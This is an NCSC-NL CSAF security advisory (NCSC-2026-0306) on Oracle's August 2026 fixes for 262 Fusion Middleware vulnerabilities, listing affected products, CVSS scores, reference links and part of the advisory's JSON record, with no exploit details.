Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 access to cause denial of service and unauthorized read access, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated remote attackers to manipulate critical data via HTTP, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
References
263 references
| URL | Category |
|---|---|
| https://www.oracle.com/security-alerts/cspuaug2026.html | external |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
{
"document": {
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "nl",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:\n\n NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.\n\n NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.\n This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
},
{
"category": "description",
"text": "Oracle heeft 262 kwetsbaarheden verholpen in diverse Oracle producten, waaronder Oracle WebLogic Server, Oracle Identity Manager, Oracle WebCenter Portal, Oracle WebCenter Content, Oracle WebCenter Sites, Oracle WebCenter Enterprise Capture, Oracle Reports Developer, Oracle Fusion Middleware Helidon, Oracle Access Manager, Oracle Unified Directory, Oracle Virtual Directory, Oracle Internet Directory, Oracle Web Services Manager, Oracle SOA Suite B2B Engine, Oracle Managed File Transfer, en Oracle Identity Manager Connector.",
"title": "Feiten"
},
{
"category": "description",
"text": "De kwetsbaarheden betreffen verschillende beveiligingsproblemen in Oracle producten, waaronder mogelijkheden voor ongeauthenticeerde en laaggeprivilegieerde aanvallers om via netwerktoegang (HTTP, HTTPS, HTTP/2, LDAP, T3, IIOP, RMI, CORBA, SOAP, SMTP, UDP) ongeautoriseerde acties uit te voeren. Deze acties omvatten het verkrijgen van volledige systeemcontrole, het uitvoeren van arbitrary code, het cre\u00ebren, wijzigen of verwijderen van kritieke data, het omzeilen van authenticatiecontroles, het verkrijgen van ongeautoriseerde toegang tot gevoelige informatie, en het veroorzaken van Denial-of-Service (DoS) door crashes of resource-uitputting. Sommige kwetsbaarheden vereisen gebruikersinteractie, terwijl andere volledig op afstand en zonder authenticatie kunnen worden misbruikt.\n\nDe CVSS 3.1 basis scores vari\u00ebren van matig tot maximaal (tot 10.0), waarbij meerdere kwetsbaarheden een score van 9.8 of hoger hebben, wat duidt op een hoog potentieel voor impact op vertrouwelijkheid, integriteit en beschikbaarheid van de systemen. 182 van deze kwetsbaarheden kunnen zonder voorafgaande authenticatie op afstand worden misbruikt. De kwetsbaarheden zijn specifiek voor bepaalde versies van de genoemde Oracle producten maar kunnen ook invloed hebben op andere Oracle producten die afhankelijk zijn van deze componenten.\n\nHet NCSC adviseert om deze kwetsbaarheden met voorrang te verhelpen.",
"title": "Interpretaties"
},
{
"category": "description",
"text": "Oracle heeft updates uitgebracht om de kwetsbaarheden in de genoemde producten te verhelpen. Zie bijgevoegde referenties voor meer informatie.",
"title": "Oplossingen"
},
{
"category": "general",
"text": "high",
"title": "Kans"
},
{
"category": "general",
"text": "high",
"title": "Schade"
},
{
"category": "general",
"text": "Improper Authorization",
"title": "CWE-285"
},
{
"category": "general",
"text": "Uncontrolled Resource Consumption",
"title": "CWE-400"
},
{
"category": "general",
"text": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization",
"title": "CWE-551"
},
{
"category": "general",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "Nationaal Cyber Security Centrum",
"namespace": "https://www.ncsc.nl/"
},
"references": [
{
"category": "external",
"summary": "Reference",
"url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
}
],
"title": "Kwetsbaarheden verholpen in Oracle Fusion Middleware",
"tracking": {
"current_release_date": "2026-08-19T09:38:33.419264Z",
"generator": {
"date": "2025-08-04T16:30:00Z",
"engine": {
"name": "V.A.",
"version": "1.3"
}
},
"id": "NCSC-2026-0306",
"initial_release_date": "2026-08-19T09:38:33.419264Z",
"revision_history": [
{
"date": "2026-08-19T09:38:33.419264Z",
"number": "1.0.0",
"summary": "Initiele versie"
}
],
"status": "final",
"version": "1.0.0"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-1"
}
